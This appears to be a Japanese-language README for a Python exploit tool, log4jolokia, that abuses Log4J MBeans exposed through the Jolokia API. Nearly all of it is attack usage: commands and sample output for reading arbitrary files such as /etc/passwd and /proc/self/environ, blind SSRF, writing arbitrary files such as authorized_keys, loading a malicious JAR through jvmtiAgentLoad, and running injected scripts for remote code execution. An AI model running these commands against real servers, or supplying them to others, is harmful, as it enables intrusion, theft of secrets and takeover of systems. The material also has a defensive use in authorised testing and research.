mbadanoiu/log4jolokiaJolokia 経由で Log4J を悪用するための Python3 実装
Python3で、Jolokia を通じて Log4J の MBeans を活用・悪用するための実装です。
一般的なヘルプ:
usage: log4jolokia.py [-h] [-u [USER]] [-p [PASSWD]] [--proxy [PROXY]] [-H [HEADER]] {exec_jar,write_file,read_file,exec_script} [{exec_jar,write_file,read_file,exec_script} ...] target [target ...]
positional arguments:
{exec_jar,write_file,read_file,exec_script}
choose mode: exec_jar | write_file | read_file | exec_script
target URL to jolokia (e.g. http://127.0.0.1:8161/console/jolokia)
options:
-h, --help show this help message and exit
-u [USER], --user [USER]
Jolokia username
-p [PASSWD], --passwd [PASSWD]
Jolokia password
--proxy [PROXY] Optional HTTP(S) Proxy (e.g. burp at http://127.0.0.1:8080)
-H [HEADER], --header [HEADER]
Other required custom HTTP headers (e.g. -H "Origin: http://localhost"
-H "Referrer: http://localhost")
注: 選択するモードによって、ヘルプの一部のセクションは異なります。
このプログラムには、次の4つのエクスプロイトモードがあります:
攻撃者は、Jolokia APIを介してLog4Jの "ConfigLocationUri" 属性を変更し、"ConfigText" の新しいコンテンツを読み取る（ "getConfigText(String)" 関数を使用するか、Jolokiaの "read" アクションを "ConfigText" 属性に対して実行する）ことで、任意のファイルを読み取ることができます。
注: この場合、ファイルの出力をバイト単位で正確に "latin-1" エンコーディングで取得できるため、"getConfigText(String)" 読み取りベクターを使用します。
注2: このベクターは、通常は到達できない/内部のサーバーへのアクセスにも使用できます:
ヘルプ - ファイル読み取り固有のパラメータ:
$ python3 log4jolokia.py read_file http://a -h
***TRUNCATED***
-r [READ], --read [READ]
Absolute or relative path of a file to read on target (Use only with mode: read_file)
Example commands:
- Absolute Path:
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r /etc/passwd -u admin -p admin -H 'Origin: http://localhost'
- Relative Path:
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r ./artemis -u admin -p admin -H 'Origin: http://localhost'
- Specific Protocol:
-- FTP:
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r ftp://test:[email protected]:22/test -u admin -p admin -H 'Origin: http://localhost'
-- SMB (Windows only):
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r file:////127.0.0.1/C/test -u admin -p admin -H 'Origin: http://localhost'
-- HTTP SSRF (Usually no output a.k.a. Blind SSRF):
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r 'http://127.0.0.1:80/test?test=test' -u admin -p admin -H 'Origin: http://localhost'
例 - "/etc/passwd" の読み取り:
$ python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -r /etc/passwd
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Using mbean org.apache.logging.log4j2:type=21263314
[.] Setting ConfigLocationUri to point to arbitrary location /etc/passwd
[+] Successfully set ConfigLocationUri to "/etc/passwd"
[.] Reading file output from ConfigText
[+] Content of "/etc/passwd":
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
***TRUNCATED***
例 - "/proc/self/environ" の読み取り（コンテンツに印刷不可能な文字（例: ヌルバイト）が含まれるため、出力はbase64エンコードされます）:
$ python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -r /proc/self/environ
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Using mbean org.apache.logging.log4j2:type=21263314
[.] Setting ConfigLocationUri to point to arbitrary location /proc/self/environ
[+] Successfully set ConfigLocationUri to "/proc/self/environ"
[.] Reading file output from ConfigText
[.] File "/proc/self/environ" contains non-printable characters, displaying base64 encoding
[+] Base64 content of "/proc/self/environ":
TEVTU09QRU49fCAvdXNyL2Jpbi9sZXNzcGlwZSAlcwBNQUlMPS92YXIvbWFpbC9jdGYAVVNFUj1jdGYATENfVElNRUQ9ZmkuRklfVVRGLTgAU0h***TRUNCATED***
悪意のあるLog4J設定を作成して読み込むことで、"RollingFile -> fileName"（書き込み先）と "Pattern"（書き込む内容）パラメータの値を利用して、任意のコンテンツを任意の場所に書き込むことができます。この場合、XML形式の悪意のあるLog4J設定を作成し、"setConfigText(String, String)" 関数を利用します。
注: 複雑なバイナリファイルを書き込む場合、XML形式には特定の制御文字の制限があるため、他のサポートされている設定形式（例: Properties）を利用した2段階の書き込みプロセスが使用されています。
ヘルプ - ファイル書き込み固有のパラメータ:
$ python3 log4jolokia.py write_file http://a -h
***TRUNCATED***
-lf [LOCAL_FILE], --local_file [LOCAL_FILE]
Path to local file to be written on the target (Use only with mode: write_file)
-w [WRITE], --write [WRITE]
Path of file to be written on the target (Use only with mode: write_file)
-P [PERM], --perm [PERM]
Permissions of the file written on the target. Useful for files like "authorized_keys" that require "rw-------". (Default value is "rwxrwx---") (Use only with mode: write_file)
--tmp_dir [TMP_DIR] Location of a writable directory. (Default value is "/tmp")
E.g. Unix == /tmp
Windows == C:/Users/Public
Example command:
python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -lf 00-ff.txt -w /tmp/test_write -u admin -p admin -H 'Origin: http://localhost'
例 - "test" を "/tmp/test" に書き込む:
$ echo test > t.txt
$ python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -lf t.txt -w /tmp/test --proxy http://127.0.0.1:8080
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Reading content from t.txt
[.] Generating Log4J configuration
[+] Generated Log4J XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[.] Checking that the file "/tmp/test" was written successfully on the target
[+] File "/tmp/test" has been successfully written on the target
例 - 不正なXML文字を含むファイルを "/tmp/test2" に書き込む:
$ python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -lf 00-ff.txt -w /tmp/test2
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Reading content from 00-ff.txt
[.] Generating Log4J configuration
[.] Invalid XML characters have been detected in the content
[.] Using a 2 step write technique (XML -> Properties -> File)
[+] Generated Log4J Properties configuration
[+] Embedded Properties configuration in a XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] File "/tmp/mal.properties" should have successfully been written on the target
[.] Using a double setConfigLocationUri in order to flush the buffer and finish writing "/tmp/mal.properties"
[.] Setting ConfigLocationUri to point to arbitrary location file:/tmp/mal.properties
[+] Successfully set ConfigLocationUri to "file:/tmp/mal.properties"
[.] Checking that the file "/tmp/test2" was written successfully on the target
[+] File "/tmp/test2" has been successfully written on the target
"write_file" モジュールで紹介した機能を使用して、ターゲットシステム上に任意のJARを書き込み、その後 "jvmtiAgentLoad([Ljava.lang.String;)" 関数を使用して任意のJavaコードを実行します。
ヘルプ - JAR実行固有のパラメータ:
$ python3 log4jolokia.py exec_jar http://a -h
***TRUNCATED***
-j [JAR], --jar [JAR]
Path to local jar to be executes on the target (Use only with mode: exec_jar)
--tmp_dir [TMP_DIR] Location of a writable directory. (Default value is "/tmp")
E.g. Unix == /tmp
Windows == C:/Users/Public
Example command:
python3 log4jolokia.py exec_jar http://127.0.0.1:8161/console/jolokia/ -j mal_linux.jar -u admin -p admin -H 'Origin: http://localhost'
Valid jvmtiAgent JARs can be obtained from https://github.com/mbadanoiu/jvmtiAgentLoad-Exploit
有効なjvmtiAgent JARは、https://github.com/mbadanoiu/jvmtiAgentLoad-Exploit から入手できます。
例 - JARファイルの書き込みと実行:
$ python3 log4jolokia.py exec_jar http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -j mal_linux.jar
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[!!!] WARNING: You are about to write and execute the contents of "mal_linux.jar" on the target system. Make sure that:
- The JAR contains a valid JVM TI agent
- Once a JAR is successfully loaded:
-- No new JAR can be loaded until the Java application is restarted (a.k.a. pick your commands wisely because you only have one shot)
-- The JAR code will execute everytime the jvmtiAgentLoad() function is successfully called (result == "return code: 0")
If you agree with the above enter "yes" to continue: yes
[.] Reading content from mal_linux.jar
[.] Generating Log4J configuration
[.] Invalid XML characters have been detected in the content
[.] Using a 2 step write technique (XML -> Properties -> File)
[+] Generated Log4J Properties configuration
[+] Embedded Properties configuration in a XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] File "/tmp/mal.properties" should have successfully been written on the target
[.] Using a double setConfigLocationUri in order to flush the buffer and finish writing "/tmp/mal.properties"
[.] Setting ConfigLocationUri to point to arbitrary location file:/tmp/mal.properties
[+] Successfully set ConfigLocationUri to "file:/tmp/mal.properties"
[.] Checking that the file "/tmp/mal.jar" was written successfully on the target
[+] File "/tmp/mal.jar" has been successfully written on the target
[+] Successfully called jvmtiAgentLoad()
注: 上記の「WARNING」に記載されているとおり、JVM TI Agent JAR（return code: 0）の読み込みに成功すると、その後、新しい/変更された（有効な）JARでリクエストを再実行しても、最初に読み込まれたJARのみが再実行されます。
Log4Jの組み込みスクリプトサポート機能を使用して、任意のスクリプト要素を含む悪意のある設定を注入できます。
注: このエクスプロイトを機能させるには、それぞれのスクリプトタイプを許可するようにLog4Jを設定する必要があります（デフォルトではスクリプトは一切許可されていません）。
ヘルプ - スクリプト実行固有のパラメータ:
$ python3 log4jolokia.py exec_script http://a -h
***TRUNCATED***
-sf [SCRIPT_FILE], --script_file [SCRIPT_FILE]
Path to local file containing the script to be executed on the target (Use only with mode: exec_script)
-l [LANGUAGE], --language [LANGUAGE]
Language of the script to be executed (E.g. javascript, groovy, beanshell, etc.) (Use only with mode: exec_script)
Example command:
python3 log4jolokia.py exec_script http://127.0.0.1:8161/console/jolokia/ -sf rce.js -l javascript -u admin -p admin -H 'Origin: http://localhost'
例 - スクリプトの実行:
$ python3 log4jolokia.py exec_script http://127.0.0.1:8161/console/jolokia/ -sf rce.js -l javascript -u admin -p admin -H 'Origin: http://localhost'
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=561b61ed
[!!!] WARNING: You are about to execute a javascript script from the "rce.js" file.
Keep in mind that this script will be triggered multiple times.
If you agree with the above enter "yes" to continue: yes
[.] Reading javascript script from rce.js
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] The script should have been successfully executed
注: このモードは該当するスクリプトを読み込みますが、スクリプトが読み込まれた後に正常に実行されたか、それとも静かに失敗したかを知る方法はありません。
「read_file」モードの手動エクスプロイト例:
RCEにつながる「write_file」モードの手動エクスプロイト例:
「exec_jar」モードの手動エクスプロイト例:
「exec_script」モードの手動エクスプロイト例: